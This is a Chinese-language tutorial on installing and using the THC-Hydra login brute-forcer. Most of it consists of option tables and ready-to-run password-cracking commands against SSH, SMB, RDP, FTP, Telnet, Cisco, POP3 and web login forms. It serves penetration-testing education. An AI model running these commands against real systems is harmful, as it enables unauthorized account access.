每個密碼安全研究都顯示,最大的安全漏洞是密碼。該工具是概念代碼的證明,為研究人員和安全顧問提供了展示從遠程系統獲取未授權訪問是多么容易的可能性。
這個工具僅供法律使用!
已有幾種登錄黑客工具可用,但是,沒有一種工具支持多種協議來攻擊或支持並行連接。
它經過測試,可以在Linux,Windows / Cygwin,Solaris,FreeBSD / OpenBSD,QNX(Blackberry 10)和MacOS上進行干凈的編譯。
目前該工具支持以下協議:Asterisk,AFP,Cisco AAA,Cisco auth,Cisco enable,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-POST ,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTPS-POST,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP ,Oracle監聽器,Oracle SID,Oracle,PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,RTSP,SAP / R3,SIP,SMB,SMTP,SMTP Enum,SNMP v1 + v2 + v3,SOCKS5 ,SSH(v1和v2),SSHKEY,Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNC和XMPP。
#安裝依賴
yum -y install gcc libssh-devel openssl-devel
#克隆項目
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra/
./configure --prefix=/usr/local/hydra && make && make install
ln -s /usr/local/hydra/bin/hydra /usr/bin/
常用選項:
選項 說明 示例
-h 查看所有可用的命令行選項 hydra -h
-U 檢查模塊是否具有可選參數 hydra -U smb
-l 指定用戶名 -l zhangsan
-p 指定密碼 -p 123456
-C 使用冒號分隔的user:passwd格式,而不是-l/-p -C zhangsan:123456
-L 指定用戶名字典文件 -L /root/user.dict
-P 指定密碼字典文件 -P /root/passwd.dict
-M 指定目標IP列表文件 -M /root/ip.dict
-e 嘗試“嘗試登錄為密碼”和“空密碼” -e ns
-s 指定對應模塊使用的端口,例如:如果ssh端口不是默認22,這里可以指定 -s 2222
-t 指定線程數,默認16 -t 1
-vV 顯示詳細破解過程 -vV
-o 指定將結果輸出到文件 -o /root/result.txt
-b 指定-o選項輸出的結果信息的類型,默認為文本信息,可以自定為jsonv1和json格式。 -b json
-R 恢復先前中止/崩潰的會話(當hydra被Control-C中止,被殺死或崩潰時,它會留下一個“hydra.restore”文件,其中包含恢復會話所需的所有信息。此會話文件每5分鍾寫入一次。注意:hydra.restore文件不能復制到不同的平台(例如從小端到大端,或從Solaris到AIX)) -R
-I 忽略現有的恢復文件(不要等待10秒) -I
-S 執行SSL連接 -S
-f 在使用-M參數后,找到第一對登錄用戶和密碼的時候終止破解 -f
-W 設置最大超時時間,單位秒,默認30秒 -W 60
-q 不要打印有關連接錯誤的消息 -q
創建user.txt和passwd.txt步驟省略......
剛才開始破解時用-o選項保存到了ssh.log文件中,打開ssh.log查看下:
可以看到已經顯示出了遠端IP、用戶名、密碼...
使用案例:
使用hydra破解ssh的密碼
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
破解https:
# hydra -m /index.php -l username -P pass.txt IP https
破解teamspeak:
# hydra -l 用戶名 -P 密碼字典 -s 端口號 -vV ip teamspeak
破解cisco:
# hydra -P pass.txt IP cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
破解smb:
# hydra -l administrator -P pass.txt IP smb
破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
破解rdp:
# hydra IP rdp -l administrator -P pass.txt -V
破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18
破解telnet
# hydra IP telnet -l 用戶 -P 密碼字典 -t 32 -s 23 -e ns -f -V
破解ftp:
# hydra IP ftp -l 用戶名 -P 密碼字典 -t 線程(默認16) -vV
# hydra IP ftp -l 用戶名 -P 密碼字典 -e ns -vV
get方式提交,破解web登錄:
# hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns IP http-get /admin/
# hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns -f IP http-get /admin/index.php
post方式提交,破解web登錄:
該軟件的強大之處就在於支持多種協議的破解,同樣也支持對於web用戶界面的登錄破解,get方式提交的表單比較簡單,這里通過post方式提交密碼破解提供思路。該工具有一個不好的地方就是,如果目標網站登錄時候需要驗證碼就無法破解了。帶參數破解如下:
<form action="index.php" method="POST">
<input type="text" name="name" /><BR><br>
<input type="password" name="pwd" /><br><br>
<input type="submit" name="sub" value="提交">
</form>
假設有以上一個密碼登錄表單,我們執行命令:
# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”
說明:破解的用戶名是admin,密碼字典是pass.lst,破解結果保存在ok.lst,-t 是同時線程數為1,-f 是當破解了一個密碼就停止,ip 是本地,就是目標ip,http-post-form表示破解是采用http 的post 方式提交的表單密碼破解。
后面參數是網頁中對應的表單字段的name 屬性,后面<title>中的內容是表示錯誤猜解的返回信息提示,可以自定義。
歡迎加入QQ群一起討論Linux、開源等技術